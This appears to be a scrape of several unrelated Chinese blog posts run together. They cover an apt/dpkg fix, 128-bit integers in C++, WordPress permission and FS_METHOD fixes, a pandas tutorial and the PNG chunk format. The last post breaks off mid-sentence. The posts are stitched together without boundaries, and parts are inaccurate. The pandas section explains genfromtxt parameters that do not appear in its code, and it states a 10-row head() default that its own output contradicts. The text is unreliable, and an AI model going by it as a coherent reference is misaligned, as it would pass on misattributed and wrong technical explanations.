解决方案如下:sudo rm /var/lib/dpkg/updates/* sudo apt-get update python@ubuntu:~/Desktop/_Welcome_.jpg.extracted$ sudo rm /var/lib/dpkg/updates/* python@ubuntu:~/Desktop/_Welcome_.jpg.extracted$ sudo apt-get update问题解决!!!
最近群友对int128这个东西讨论的热火朝天的。讲道理的话,编译器的gcc是不支持__int128这种数据类型的,比如在codeblocks 16.01/Dev C++是无法编译的,但是提交到大部分OJ上是可以编译且能用的。C/C++标准。IO是不认识__int128这种数据类型的,因此要自己实现IO,其他的运算,与int没有什么不同。但是官方上写了GCC提供了两种128位整数类型,分别是__int128_t和__uint128_t,分别用于声明有符号整数变量和无符号整数变量。有关GCC的文档参见:Using the GNU Compiler Collection (GCC)。这里给出了样例程序,是有关类型__int128_t和__uint128_t的。从计算可以看出,这两个类型都是16字节的,类型__uint128_t是128位的。程序中使用了按位取反运算,移位运算和乘法运算。由于这种大整数无法使用函数printf()输出其值,所以自己做了一个整数转字符串函数myitoa(),用于实现128位整数的输出。有兴趣的同学想了解底层实现原理可以参看我的Github上:https://github.com/AngelKitty/English-Version-CHSInt128代码实现如下:1 #include <iostream> 2 3 using namespace std; 4 5 void myitoa(__int128_t v, char* s) 6 { 7 char temp; 8 int i=0, j; 9 10 while(v >0) { 11 s[i++] = v % 10 + '0'; 12 v /= 10; 13 } 14 s[i] = '\0'; 15 16 j=0; 17 i--; 18 while(j < i) { 19 temp = s[j]; 20 s[j] = s[i]; 21 s[i] = temp; 22 j++; 23 i--; 24 } 25 } 26 27 int main() 28 { 29 __uint128_t n = 0; 30 31 n = ~n; 32 int count = 0; 33 while(n > 0) { 34 count++; 35 n >>= 1; 36 } 37 38 cout << "count=" << count << endl; 39 cout << "__uint128_t size=" << sizeof(__uint128_t) << endl; 40 cout << endl; 41 42 cout << "__int128_t size=" << sizeof(__int128_t) << endl; 43 44 __int128_t x = 1100000000000000L; 45 __int128_t y = 2200000000000000L; 46 char s[40]; 47 48 x *= y; 49 50 myitoa(x, s); 51 52 cout << "x=" << s << endl; 53 54 return 0; 55 }打印结果如下:count=128 __uint128_t size=16 __int128_t size=16 x=2420000000000000000000000000000以下是__int128的OJ简单应用,写题必备神器。a+b大数读入模板:#include <bits/stdc++.h> 2 using namespace std; 3 inline __int128 read() 4 { 5 __int128 x=0,f=1; 6 char ch=getchar(); 7 while(ch<'0'||ch>'9') 8 { 9 if(ch=='-') 10 f=-1; 11 ch=getchar(); 12 } 13 while(ch>='0'&&ch<='9') 14 { 15 x=x*10+ch-'0'; 16 ch=getchar(); 17 } 18 return x*f; 19 } 20 21 inline void write(__int128 x) 22 { 23 if(x<0) 24 { 25 putchar('-'); 26 x=-x; 27 } 28 if(x>9) 29 write(x/10); 30 putchar(x%10+'0'); 31 } 32 33 int main() 34 { 35 __int128 a = read(); 36 __int128 b = read(); 37 write(a + b); 38 return 0; 39 }测试了一下,OJ提交没问题~~~另外关于C/C++大数类,这里还给您提供了一个好的实现机制,源码我已经上传,下载链接在这里:https://files.cnblogs.com/files/ECJTUACM-873284962/bigint-10-2-src.7z运行结果可以看到如下所示:C++ BigInt class that enables the user to work with arbitrary precision integers.Latest Version: 10.2Project Samples
上一篇我们说到无法连接FTP服务器,我们已经完美的解决了,然后。。。发现。。。还是无法更新,啥情况???提示为无法创建目录原因是执行更新程序的是www用户,解决方案如下:需要把插件或主程序下载到 /alidata/www/phpwind,而这个目录下很多文件的所有者是root用户,即www用户没有权限,所以修改目录所有者即可,进入 /alidata/www/phpwind 目录,输入命令:chown -R www:www ./现在再次运行WordPress更新程序,应该就正常了。
前言 个人感觉网上对pandas的总结感觉不够详尽细致,在这里我对pandas做个相对细致的小结吧,在数据分析与人工智能方面会有所涉及到的东西在这里都说说吧,也是对自己学习的一种小结!pandas用法的介绍 安装部分我就不说了,装个pip,使用命令pip install pandas就可以安装了,在Ubuntu中可能会出现没有权限的提示,直接加上sudo即可,以下讲解都是建立在python3平台的讲解,python2类似,python3中安装的时候使用sudo pip3 install pandas即可。pandas是Python的一个数据分析模块,是为了解决数据分析任务而创建的,纳入了大量的库和标准数据模型,提供了高效地操作大型数据集所需的工具。pandas中的数据结构 :Series: 一维数组,类似于python中的基本数据结构list,区别是series只允许存储相同的数据类型,这样可以更有效的使用内存,提高运算效率。就像数据库中的列数据。DataFrame: 二维的表格型数据结构。很多功能与R中的data.frame类似。可以将DataFrame理解为Series的容器。Panel:三维的数组,可以理解为DataFrame的容器。关于pandas的更多详细的介绍请参看:http://pandas.pydata.org/pandas-docs/stable/10min.html感兴趣的同学还可以看看我之前写过的numpy用法小结,库中大部分用法和numpy类似,可以对比着看,方便理解下面我们以一个food_info.csv数据集来为大家讲解pandas的基本用法,该数据文件有需要的同学可以加我好友私聊我,或者把你的请求发邮箱至i_love_sjtu@qq.com,感谢看此文的您的支持和理解~~~1.read_csvpandas.read_csv(""),这里我们讲解下,read_csv函数的意思是读取文件信息,用来处理数据信息,可以处理数据文件。举个例子:import pandas food_info = pandas.read_csv("food_info.csv") print(type(food_info)) print(food_info.dtypes)打印结果如下:<class 'pandas.core.frame.DataFrame'> NDB_No int64 Shrt_Desc object Water_(g) float64 Energ_Kcal int64 Protein_(g) float64 Lipid_Tot_(g) float64 Ash_(g) float64 Carbohydrt_(g) float64 Fiber_TD_(g) float64 Sugar_Tot_(g) float64 Calcium_(mg) float64 Iron_(mg) float64 Magnesium_(mg) float64 Phosphorus_(mg) float64 Potassium_(mg) float64 Sodium_(mg) float64 Zinc_(mg) float64 Copper_(mg) float64 Manganese_(mg) float64 Selenium_(mcg) float64 Vit_C_(mg) float64 Thiamin_(mg) float64 Riboflavin_(mg) float64 Niacin_(mg) float64 Vit_B6_(mg) float64 Vit_B12_(mcg) float64 Vit_A_IU float64 Vit_A_RAE float64 Vit_E_(mg) float64 Vit_D_mcg float64 Vit_D_IU float64 Vit_K_(mcg) float64 FA_Sat_(g) float64 FA_Mono_(g) float64 FA_Poly_(g) float64 Cholestrl_(mg) float64 dtype: object我解释一下上面的用法,genfromtxt传入了三个参数,第一个参数是数据文件,名为world_alcohol.txt,该数据文件有需要的同学可以加我好友私聊我,或者把你的请求发邮箱至i_love_sjtu@qq.com然后delimiter是分隔符,由于数据集中的数据是用逗号分隔的,所以设定参数delimiter=',',dtype是获取数据类型,数据集中的类型为strprint(type(food_info))打印数据文件的数据类型print(food_info.dtypes)打印每一列数据的格式2.shapexxx.shape 显示的功能是查看数据表的维度数举个例子:import pandas food_info = pandas.read_csv("food_info.csv") print(food_info.shape)打印结果:(8618, 36)显示出当前表的维度是8618行36列。3.info()xxx.info()获取数据表基本信息(维度、列名称、数据格式、所占空间等)举个例子:import pandas food_info = pandas.read_csv("food_info.csv") print(food_info.info())打印结果:<class 'pandas.core.frame.DataFrame'> RangeIndex: 8618 entries, 0 to 8617 Data columns (total 36 columns): NDB_No 8618 non-null int64 Shrt_Desc 8618 non-null object Water_(g) 8612 non-null float64 Energ_Kcal 8618 non-null int64 Protein_(g) 8618 non-null float64 Lipid_Tot_(g) 8618 non-null float64 Ash_(g) 8286 non-null float64 Carbohydrt_(g) 8618 non-null float64 Fiber_TD_(g) 7962 non-null float64 Sugar_Tot_(g) 6679 non-null float64 Calcium_(mg) 8264 non-null float64 Iron_(mg) 8471 non-null float64 Magnesium_(mg) 7936 non-null float64 Phosphorus_(mg) 8046 non-null float64 Potassium_(mg) 8208 non-null float64 Sodium_(mg) 8535 non-null float64 Zinc_(mg) 7917 non-null float64 Copper_(mg) 7363 non-null float64 Manganese_(mg) 6478 non-null float64 Selenium_(mcg) 6868 non-null float64 Vit_C_(mg) 7826 non-null float64 Thiamin_(mg) 7939 non-null float64 Riboflavin_(mg) 7961 non-null float64 Niacin_(mg) 7937 non-null float64 Vit_B6_(mg) 7677 non-null float64 Vit_B12_(mcg) 7427 non-null float64 Vit_A_IU 7932 non-null float64 Vit_A_RAE 7089 non-null float64 Vit_E_(mg) 5613 non-null float64 Vit_D_mcg 5319 non-null float64 Vit_D_IU 5320 non-null float64 Vit_K_(mcg) 4969 non-null float64 FA_Sat_(g) 8274 non-null float64 FA_Mono_(g) 7947 non-null float64 FA_Poly_(g) 7954 non-null float64 Cholestrl_(mg) 8250 non-null float64 dtypes: float64(33), int64(2), object(1) memory usage: 2.4+ MB4.dtypes和astypesxxx.dtypes是显示每一列数据的格式,可以指定某一列。举个例子:import pandas food_info = pandas.read_csv("food_info.csv") print(food_info.dtypes)打印结果:NDB_No int64 Shrt_Desc object Water_(g) float64 Energ_Kcal int64 Protein_(g) float64 Lipid_Tot_(g) float64 Ash_(g) float64 Carbohydrt_(g) float64 Fiber_TD_(g) float64 Sugar_Tot_(g) float64 Calcium_(mg) float64 Iron_(mg) float64 Magnesium_(mg) float64 Phosphorus_(mg) float64 Potassium_(mg) float64 Sodium_(mg) float64 Zinc_(mg) float64 Copper_(mg) float64 Manganese_(mg) float64 Selenium_(mcg) float64 Vit_C_(mg) float64 Thiamin_(mg) float64 Riboflavin_(mg) float64 Niacin_(mg) float64 Vit_B6_(mg) float64 Vit_B12_(mcg) float64 Vit_A_IU float64 Vit_A_RAE float64 Vit_E_(mg) float64 Vit_D_mcg float64 Vit_D_IU float64 Vit_K_(mcg) float64 FA_Sat_(g) float64 FA_Mono_(g) float64 FA_Poly_(g) float64 Cholestrl_(mg) float64 dtype: object而如果我们想转换表中指定列的数据类型 我们应该使用astype进行转换举个例子:import pandas food_info = pandas.read_csv("food_info.csv") print(food_info['NDB_No'].astype('float64'))打印结果:0 1001.0 1 1002.0 2 1003.0 3 1004.0 4 1005.0 5 1006.0 6 1007.0 7 1008.0 8 1009.0 9 1010.0 10 1011.0 11 1012.0 12 1013.0 13 1014.0 14 1015.0 15 1016.0 16 1017.0 17 1018.0 18 1019.0 19 1020.0 20 1021.0 21 1022.0 22 1023.0 23 1024.0 24 1025.0 25 1026.0 26 1027.0 27 1028.0 28 1029.0 29 1030.0 ... 8588 43544.0 8589 43546.0 8590 43550.0 8591 43566.0 8592 43570.0 8593 43572.0 8594 43585.0 8595 43589.0 8596 43595.0 8597 43597.0 8598 43598.0 8599 44005.0 8600 44018.0 8601 44048.0 8602 44055.0 8603 44061.0 8604 44074.0 8605 44110.0 8606 44158.0 8607 44203.0 8608 44258.0 8609 44259.0 8610 44260.0 8611 48052.0 8612 80200.0 8613 83110.0 8614 90240.0 8615 90480.0 8616 90560.0 8617 93600.0 Name: NDB_No, Length: 8618, dtype: float64原来NDB_No是int64类型,现在转换为float64类型了5.isnull()xxx.isnull() 用来查看数据表或者某一列数据的值是否为空值。举个例子:import pandas food_info = pandas.read_csv("food_info.csv") print(food_info.isnull())打印结果:NDB_No Shrt_Desc Water_(g) Energ_Kcal Protein_(g) Lipid_Tot_(g) \ 0 False False False False False False 1 False False False False False False 2 False False False False False False 3 False False False False False False 4 False False False False False False 5 False False False False False False 6 False False False False False False 7 False False False False False False 8 False False False False False False 9 False False False False False False 10 False False False False False False 11 False False False False False False 12 False False False False False False 13 False False False False False False 14 False False False False False False 15 False False False False False False 16 False False False False False False 17 False False False False False False 18 False False False False False False 19 False False False False False False 20 False False False False False False 21 False False False False False False 22 False False False False False False 23 False False False False False False 24 False False False False False False 25 False False False False False False 26 False False False False False False 27 False False False False False False 28 False False False False False False 29 False False False False False False ... ... ... ... ... ... ... 8588 False False False False False False 8589 False False False False False False 8590 False False False False False False 8591 False False False False False False 8592 False False False False False False 8593 False False False False False False 8594 False False False False False False 8595 False False False False False False 8596 False False False False False False 8597 False False False False False False 8598 False False False False False False 8599 False False False False False False 8600 False False False False False False 8601 False False False False False False 8602 False False False False False False 8603 False False False False False False 8604 False False False False False False 8605 False False False False False False 8606 False False False False False False 8607 False False False False False False 8608 False False False False False False 8609 False False False False False False 8610 False False False False False False 8611 False False False False False False 8612 False False False False False False 8613 False False False False False False 8614 False False False False False False 8615 False False False False False False 8616 False False False False False False 8617 False False False False False False Ash_(g) Carbohydrt_(g) Fiber_TD_(g) Sugar_Tot_(g) ... \ 0 False False False False ... 1 False False False False ... 2 False False False False ... 3 False False False False ... 4 False False False False ... 5 False False False False ... 6 False False False False ... 7 False False False True ... 8 False False False False ... 9 False False False True ... 10 False False False False ... 11 False False False False ... 12 False False False False ... 13 False False False False ... 14 False False False False ... 15 False False False False ... 16 False False False False ... 17 False False False False ... 18 False False False False ... 19 False False False False ... 20 False False False True ... 21 False False False False ... 22 False False False False ... 23 False False False False ... 24 False False False False ... 25 False False False False ... 26 False False False False ... 27 False False False False ... 28 False False False False ... 29 False False False False ... ... ... ... ... ... ... 8588 False False False False ... 8589 False False False False ... 8590 False False False False ... 8591 False False False False ... 8592 False False False False ... 8593 False False False False ... 8594 False False False False ... 8595 False False False False ... 8596 False False False False ... 8597 False False False False ... 8598 False False False False ... 8599 False False False False ... 8600 False False False False ... 8601 False False False False ... 8602 False False False False ... 8603 False False False False ... 8604 False False False True ... 8605 False False False False ... 8606 False False False False ... 8607 False False False False ... 8608 False False False False ... 8609 False False False False ... 8610 False False False False ... 8611 False False False False ... 8612 False False False False ... 8613 False False False False ... 8614 False False False False ... 8615 False False False False ... 8616 False False False False ... 8617 False False False False ... Vit_A_IU Vit_A_RAE Vit_E_(mg) Vit_D_mcg Vit_D_IU Vit_K_(mcg) \ 0 False False False False False False 1 False False False False False False 2 False False False False False False 3 False False False False False False 4 False False False False False False 5 False False False False False False 6 False False False False False False 7 False False True True True True 8 False False False False False False 9 False False True True True True 10 False False False False False False 11 False False False False False False 12 False False False False False False 13 False False False False False False 14 False False False False False False 15 False False False False False False 16 False False False False False False 17 False False False False False False 18 False False False False False False 19 False False False False False False 20 False False True True True True 21 False False False False False False 22 False False False False False False 23 False False False False False False 24 False False False False False False 25 False False False False False False 26 False False False False False False 27 False False False False False False 28 False False False False False False 29 False False False False False False ... ... ... ... ... ... ... 8588 False False False False False False 8589 False False False False False False 8590 False False False False False False 8591 False False False False False False 8592 False False False False False False 8593 False False False False False False 8594 False False False False False False 8595 False False False False False False 8596 False False False False False False 8597 False False False False False False 8598 False False False False False False 8599 False False False False False False 8600 False False False False False False 8601 False False False False False False 8602 False False False False False False 8603 False False False False False False 8604 False True True True True True 8605 False False False False False False 8606 False False False False False False 8607 False False False False False False 8608 False False False False False False 8609 False False False False False False 8610 False False False False False False 8611 False False False False False False 8612 False False False False False False 8613 False False False False False False 8614 False False False False False False 8615 False False False False False False 8616 False False False False False False 8617 False False False False False False FA_Sat_(g) FA_Mono_(g) FA_Poly_(g) Cholestrl_(mg) 0 False False False False 1 False False False False 2 False False False False 3 False False False False 4 False False False False 5 False False False False 6 False False False False 7 False False False False 8 False False False False 9 False False False False 10 False False False False 11 False False False False 12 False False False False 13 False False False False 14 False False False False 15 False False False False 16 False False False False 17 False False False False 18 False False False False 19 False False False False 20 False False False False 21 False False False False 22 False False False False 23 False False False False 24 False False False False 25 False False False False 26 False False False False 27 False False False False 28 False False False False 29 False False False False ... ... ... ... ... 8588 False False False False 8589 False False False False 8590 False False False False 8591 False False False False 8592 False False False False 8593 False False False False 8594 False False False False 8595 False False False False 8596 False False False False 8597 False False False False 8598 False False False False 8599 False False False False 8600 False False False False 8601 False False False False 8602 False False False False 8603 False False False False 8604 False False False False 8605 False False False False 8606 False False False False 8607 False False False False 8608 False False False False 8609 False False False False 8610 False False False False 8611 False False False False 8612 False False False False 8613 False False False False 8614 False False False False 8615 False False False False 8616 False False False False 8617 False False False False [8618 rows x 36 columns]6.columnsxxx.columns可以用来查看数据表中列的名称举个例子:import pandas food_info = pandas.read_csv("food_info.csv") print(food_info.columns)打印结果:Index(['NDB_No', 'Shrt_Desc', 'Water_(g)', 'Energ_Kcal', 'Protein_(g)', 'Lipid_Tot_(g)', 'Ash_(g)', 'Carbohydrt_(g)', 'Fiber_TD_(g)', 'Sugar_Tot_(g)', 'Calcium_(mg)', 'Iron_(mg)', 'Magnesium_(mg)', 'Phosphorus_(mg)', 'Potassium_(mg)', 'Sodium_(mg)', 'Zinc_(mg)', 'Copper_(mg)', 'Manganese_(mg)', 'Selenium_(mcg)', 'Vit_C_(mg)', 'Thiamin_(mg)', 'Riboflavin_(mg)', 'Niacin_(mg)', 'Vit_B6_(mg)', 'Vit_B12_(mcg)', 'Vit_A_IU', 'Vit_A_RAE', 'Vit_E_(mg)', 'Vit_D_mcg', 'Vit_D_IU', 'Vit_K_(mcg)', 'FA_Sat_(g)', 'FA_Mono_(g)', 'FA_Poly_(g)', 'Cholestrl_(mg)'], dtype='object')7.head()和tail()xxx.head()默认是用来查看前10行数据而xxx.tail()默认用来查看后10行数据可以传入参数x,指定查看前x行的数据举个例子:import pandas food_info = pandas.read_csv("food_info.csv") print(food_info.head()) print(food_info.tail())打印结果:NDB_No Shrt_Desc Water_(g) Energ_Kcal Protein_(g) \ 0 1001 BUTTER WITH SALT 15.87 717 0.85 1 1002 BUTTER WHIPPED WITH SALT 15.87 717 0.85 2 1003 BUTTER OIL ANHYDROUS 0.24 876 0.28 3 1004 CHEESE BLUE 42.41 353 21.40 4 1005 CHEESE BRICK 41.11 371 23.24 Lipid_Tot_(g) Ash_(g) Carbohydrt_(g) Fiber_TD_(g) Sugar_Tot_(g) \ 0 81.11 2.11 0.06 0.0 0.06 1 81.11 2.11 0.06 0.0 0.06 2 99.48 0.00 0.00 0.0 0.00 3 28.74 5.11 2.34 0.0 0.50 4 29.68 3.18 2.79 0.0 0.51 ... Vit_A_IU Vit_A_RAE Vit_E_(mg) Vit_D_mcg Vit_D_IU \ 0 ... 2499.0 684.0 2.32 1.5 60.0 1 ... 2499.0 684.0 2.32 1.5 60.0 2 ... 3069.0 840.0 2.80 1.8 73.0 3 ... 721.0 198.0 0.25 0.5 21.0 4 ... 1080.0 292.0 0.26 0.5 22.0 Vit_K_(mcg) FA_Sat_(g) FA_Mono_(g) FA_Poly_(g) Cholestrl_(mg) 0 7.0 51.368 21.021 3.043 215.0 1 7.0 50.489 23.426 3.012 219.0 2 8.6 61.924 28.732 3.694 256.0 3 2.4 18.669 7.778 0.800 75.0 4 2.5 18.764 8.598 0.784 94.0 [5 rows x 36 columns] NDB_No Shrt_Desc Water_(g) Energ_Kcal Protein_(g) \ 8613 83110 MACKEREL SALTED 43.00 305 18.50 8614 90240 SCALLOP (BAY&SEA) CKD STMD 70.25 111 20.54 8615 90480 SYRUP CANE 26.00 269 0.00 8616 90560 SNAIL RAW 79.20 90 16.10 8617 93600 TURTLE GREEN RAW 78.50 89 19.80 Lipid_Tot_(g) Ash_(g) Carbohydrt_(g) Fiber_TD_(g) Sugar_Tot_(g) \ 8613 25.10 13.40 0.00 0.0 0.0 8614 0.84 2.97 5.41 0.0 0.0 8615 0.00 0.86 73.14 0.0 73.2 8616 1.40 1.30 2.00 0.0 0.0 8617 0.50 1.20 0.00 0.0 0.0 ... Vit_A_IU Vit_A_RAE Vit_E_(mg) Vit_D_mcg Vit_D_IU \ 8613 ... 157.0 47.0 2.38 25.2 1006.0 8614 ... 5.0 2.0 0.00 0.0 2.0 8615 ... 0.0 0.0 0.00 0.0 0.0 8616 ... 100.0 30.0 5.00 0.0 0.0 8617 ... 100.0 30.0 0.50 0.0 0.0 Vit_K_(mcg) FA_Sat_(g) FA_Mono_(g) FA_Poly_(g) Cholestrl_(mg) 8613 7.8 7.148 8.320 6.210 95.0 8614 0.0 0.218 0.082 0.222 41.0 8615 0.0 0.000 0.000 0.000 0.0 8616 0.1 0.361 0.259 0.252 50.0 8617 0.1 0.127 0.088 0.170 50.0 [5 rows x 36 columns]
这几天在搭建主站的时候,更新wordpress时无法连接到FTP原因服务器解决方法如下:在WordPress目录下找到wp-config.php文件并编辑,在最后一行加上:define('FS_METHOD', "direct");
前言PNG,JPEG,GIF,BMP作为数据压缩文件,有许多重要的信息我们需要区深度解析。一.PNG的文件结构1.1、数据块构成结构PNG文件结构很简单,主要有数据块(Chunk Block)组成,最少包含4个数据块。PNG标识符PNG数据块(IHDR)PNG数据块(其他类型数据块)...PNG结尾数据块(IEND) 1.2、所有PNG数据块(Chunk)PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了4个标准数据块,每个PNG文件都必须包含它们,PNG读写软件也都必须要支持这些数据块。虽然PNG文件规范没有要求PNG编译码器对可选数据块进行编码和译码,但规范提倡支持可选数据块。下表就是PNG中数据块的类别,其中,关键数据块部分我们使用深色背景加以区分。PNG文件格式中的数据块数据块符号数据块名称多数据块可选否位置限制IHDR文件头数据块否否第一块cHRM基色和白色点数据块否是在PLTE和IDAT之前gAMA图像γ数据块否是在PLTE和IDAT之前sBIT样本有效位数据块否是在PLTE和IDAT之前PLTE调色板数据块否是在IDAT之前bKGD背景颜色数据块否是在PLTE之后IDAT之前hIST图像直方图数据块否是在PLTE之后IDAT之前tRNS图像透明数据块否是在PLTE之后IDAT之前oFFs(专用公共数据块)否是在IDAT之前pHYs物理像素尺寸数据块否是在IDAT之前sCAL(专用公共数据块)否是在IDAT之前IDAT图像数据块是否与其他IDAT连续tIME图像最后修改时间数据块否是无限制tEXt文本信息数据块是是无限制zTXt压缩文本数据块是是无限制fRAc(专用公共数据块)是是无限制gIFg(专用公共数据块)是是无限制gIFt(专用公共数据块)是是无限制gIFx(专用公共数据块)是是无限制IEND图像结束数据否否最后一个数据块1.3、数据块结构PNG文件中,每个数据块由4个部分组成,如下:名称字节数说明Length (长度)4字节指定数据块中数据域的长度,其长度不超过(231-1)字节Chunk Type Code (数据块类型码)4字节数据块类型码由ASCII字母(A-Z和a-z)组成的“数据块符号”Chunk Data (数据块数据)可变长度存储按照Chunk Type Code指定的数据CRC (循环冗余检测)4字节存储用来检测是否有错误的循环冗余码 CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算:x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1CRC: 一种校验算法。仅仅用来校验数据的正确性的,这里因为使用了4个字节,说明使用的是CRC32标准算法。二.PNG图像标识符根据PNG文件的定义来说,其文件头位置总是由位固定的字节来描述的:十进制数137 80 78 71 13 10 26 10十六进制数89 50 4E 47 0D 0A 1A 0AJPEG,PNG,GIF,BMP等图片都具有不同的图像标识符号,判读一个文件的正确mimeType类型,更应该通过标识符,而不是通过后缀名判断,下面这种方法是不可靠的,因为后缀名可以随便修改。boolean isPNG = filename.endsWith(".png");同样,jdk本身提供api判断文件 mime type依旧有问题的,他同样是根据后缀名判断,甚至不去检测文件是否存在。三.IHDR数据块文件头数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。文件头数据块由13字节组成,它的格式如下表所示。域的名称字节数说明Width4 bytes图像宽度,以像素为单位Height4 bytes图像高度,以像素为单位Bit depth1 byte图像深度: 索引彩色图像:1,2,4或8 灰度图像:1,2,4,8或16 真彩色图像:8或16ColorType1 byte颜色类型:0:灰度图像, 1,2,4,8或16 2:真彩色图像,8或16 3:索引彩色图像,1,2,4或8 4:带α通道数据的灰度图像,8或16 6:带α通道数据的真彩色图像,8或16Compression method1 byte压缩方法(LZ77派生算法)Filter method1 byte滤波器方法Interlace method1 byte隔行扫描方法:0:非隔行扫描 1: Adam7(由Adam M. Costello开发的7遍隔行扫描方法)由于本文很多设计到了PNG在手机方面的应用,因此在此提出MIDP1.0对所使用PNG图片的要求:在MIDP1.0中,只可以使用1.0版本的PNG图片。文件大小:MIDP支持任意大小的PNG图片,然而实际上,如果一个图片过大,会由于内存耗尽而无法读取。颜色类型:所有颜色类型都有被支持,虽然这些颜色的显示依赖于实际设备的显示能力。同时,MIDP也能支持alpha通道,但是,所有的alpha通道信息都会被忽略并且当作不透明的颜色对待。色深:所有的色深都能被支持。压缩方法:仅支持deflate压缩方式,这和jar文件的压缩方式完全相同,所以,PNG图片数据的解压和jar文件的解压可以使用相同的代码。滤波器方法:在PNG中所有的5种方法都被支持。隔行扫描:虽然MIDP支持0、1两种方式,然而,当使用隔行扫描时,MIDP却不会真正的使用隔行扫描方式来显示。PLTE chunk:支持IDAT chunk:图像信息必须使用5种过滤方式中的方式之一 (None, Sub, Up, Average, Paeth)IEND chunk:当IEND数据块被找到时,这个PNG图像才认为是合法的PNG图像。可选数据块:MIDP可以支持下列辅助数据块,然而,这却不是必须的。bKGD cHRM gAMA hIST iCCP iTXt pHYssBIT sPLT sRGB tEXt tIME tRNS zTXtPLTE调色板数据块PLTE(palette chunk)包含有与索引彩色图像(indexed-color image)相关的彩色变换数据,它仅与索引彩色图像有关,而且要放在图像数据块(image data chunk)之前。PLTE数据块是定义图像的调色板信息,PLTE可以包含1~256个调色板信息,每一个调色板信息由3个字节组成:颜色字节意义Red1 byte0 = 黑色, 255 = 红Green1 byte0 = 黑色, 255 = 绿色Blue1 byte0 = 黑色, 255 = 蓝色因此,调色板的长度应该是3的倍数,否则,这将是一个非法的调色板。对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。真彩色图像和带alpha通道数据的真彩色图像也可以有调色板数据块,目的是便于非真彩色显示程序用它来量化图像数据,从而显示该图像。IDAT图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像。IEND图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的:00 00 00 00 49 45 4E 44 AE 42 60 82不难明白,由于数据块结构的定义,IEND数据块的长度总是0(00 00 00 00,除非人为加入信息),数据标识总是IEND(49 45 4E 44),因此,CRC码也总是AE 42 60 82。实例研究PNG以下是由Fireworks生成的一幅图像,图像大小为8*8,为了方便观看,将图像放大:使用UltraEdit32或者WinHex打开该文件,如下:00000000~00000007:可以看到,选中的头8个字节即为PNG文件的标识。接下来的地方就是IHDR数据块了:00000008~00000020:00 00 00 0D 说明IHDR头块长为1349 48 44 52 IHDR标识00 00 00 08 图像的宽,8像素00 00 00 08 图像的高,8像素04 色深,2^4=16,即这是一个16色的图像(也有可能颜色数不超过16,当然,如果颜色数不超过8,用03表示更合适)03 颜色类型,索引图像00 PNG Spec规定此处总为0(非0值为将来使用更好的压缩方法预留),表示使压缩方法(LZ77派生算法)00 同上00 非隔行扫描36 21 A3 B8 CRC校验CRC校验代码如下:import java.util.zip.CRC32; public class CrcTest { public static void main(String[] args) { byte[] checkData = new byte[]{0x49,0x48,0x44,0x52,0x00,0x00,0x00, 0x08,0x00,0x00,0x00, 0x08,0x04,0x03,0x00,0x00,0x00}; CRC32 crc32 = new CRC32(); crc32.update(checkData); long value = crc32.getValue(); byte[] intToBytes = longToBytes(value); String bytesToHexString = bytesToHexString(intToBytes); System.out.println(bytesToHexString); } public static byte[] longToBytes(long value) { byte[] src = new byte[4]; src[0] = (byte) ((value>>24) & 0xFF); src[1] = (byte) ((value>>16)& 0xFF); src[2] = (byte) ((value>>8)&0xFF); src[3] = (byte) (value & 0xFF); return src; } //将字节数组按16进制输出 public static String bytesToHexString(byte[] src){ StringBuilder stringBuilder = new StringBuilder(""); if (src == null || src.length <= 0) { return null; } for (int i = 0; i < src.length; i++) { int v = src[i] & 0xFF; String hv = Integer.toHexString(v); if (stringBuilder.length() != 0) { stringBuilder.append(","); } if (hv.length() < 2) { stringBuilder.append(0); } stringBuilder.append(hv); } return stringBuilder.toString(); } }00000021~0000002F:可选数据块sBIT,颜色采样率,RGB都是256(2^8=256)00000030~00000062:这里是调色板信息00 00 00 27 说明调色板数据长为39字节,既13个颜色数50 4C 54 45 PLTE标识FF FF 00 颜色0FF ED 00 颜色1…… ……09 00 B2 最后一个颜色,125F F5 BB DD CRC校验00000063~000000C5:这部分包含了pHYs、tExt两种类型的数据块共3块,由于并不太重要,因此也不再详细描述了。000000C0~000000F8:以上选中部分是IDAT数据块00 00 00 27 数据长为39字节49 44 41 54 IDAT标识78 9C…… 压缩的数据,LZ77派生压缩方法DA 12 06 A5 CRC校验IDAT中压缩数据部分在后面会有详细的介绍。000000F9~00000104:IEND数据块,这部分正如上所说,通常都应该是00 00 00 00 49 45 4E 44 AE 42 60 